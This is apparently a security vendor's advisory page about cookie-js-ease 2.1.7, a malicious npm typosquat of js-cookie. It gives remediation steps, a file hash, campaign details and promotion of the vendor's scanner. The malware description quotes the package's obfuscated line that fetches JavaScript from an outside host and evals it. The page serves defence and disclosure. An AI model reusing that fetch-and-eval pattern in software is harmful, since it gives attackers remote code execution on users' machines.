Which versions of cookie-js-ease are malicious?

The following npm versions of cookie-js-ease are flagged malicious: 2.1.7. Treat any of these as compromised.

How do I remediate cookie-js-ease if I installed it?

cookie-js-ease is a typosquat — you almost certainly intended a legitimately-named package. Remove cookie-js-ease, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.

I already installed cookie-js-ease — how do I know if it already compromised me?

If cookie-js-ease was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is cookie-js-ease part of a known attack campaign?

Yes — cookie-js-ease is associated with the IN-MAL-2026-009300 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find cookie-js-ease across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for cookie-js-ease (version 2.1.7). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging cookie-js-ease across your stack and pipelines.

Malicious package

cookie-js-easenpm

cookie-js-ease is a confirmed malicious npm package (MAL-2026-10058) that typosquats a legitimate package to trick installs (malicious version 2.1.7). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in cookie-js-ease (npm)

MAL-2026-10058

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall cookie-js-ease

What this malware does

[email protected] impersonates the popular js-cookie library (same repository URL, banner comment, API surface, and reused upstream author name 'Klaus Hartl') but adds axios and request as runtime dependencies and injects a remote-code-execution branch into the CommonJS build referenced by the package's main entry (dist/cookie.ease.js). When a consumer calls Cookies.set()/remove() in a Node.js context (or with expires==0), the code executes require('axios').get(atob('aHR0cHM6Ly9jb29raWUtYXBpLXR3by52ZXJjZWwuYXBwLw')).then(r => { eval(r.data.content) }) — fetching JavaScript from https://cookie-api-two.vercel.app/ and eval'ing the response body inside the installer's Node process. The destination URL is base64-obfuscated via atob() to evade static scanners. The.mjs and.min.js variants do not contain this branch, so the payload is targeted specifically at CommonJS consumers. This is unambiguous typosquat-plus-RCE: consumers who mistype js-cookie and reach for this package receive attacker-controlled code execution on first use of the library's core API.

Malicious versions

1 flagged

2.1.7

Indicators of compromise (SHA-256)

2908ef4ab9f019d4675b39066f876acb959cd9814b47bb66f8f4554c517abe0d

Detection & response playbook

Typosquat

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for cookie-js-ease (version 2.1.7). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging cookie-js-ease across your stack and pipelines.
If you installed it — respond
cookie-js-ease is a typosquat — you almost certainly intended a legitimately-named package. Remove cookie-js-ease, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If cookie-js-ease was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks cookie-js-ease before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. cookie-js-ease on npm has been identified as a malicious package (version 2.1.7 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-009300

References

npmjs.com

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks cookie-js-ease-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database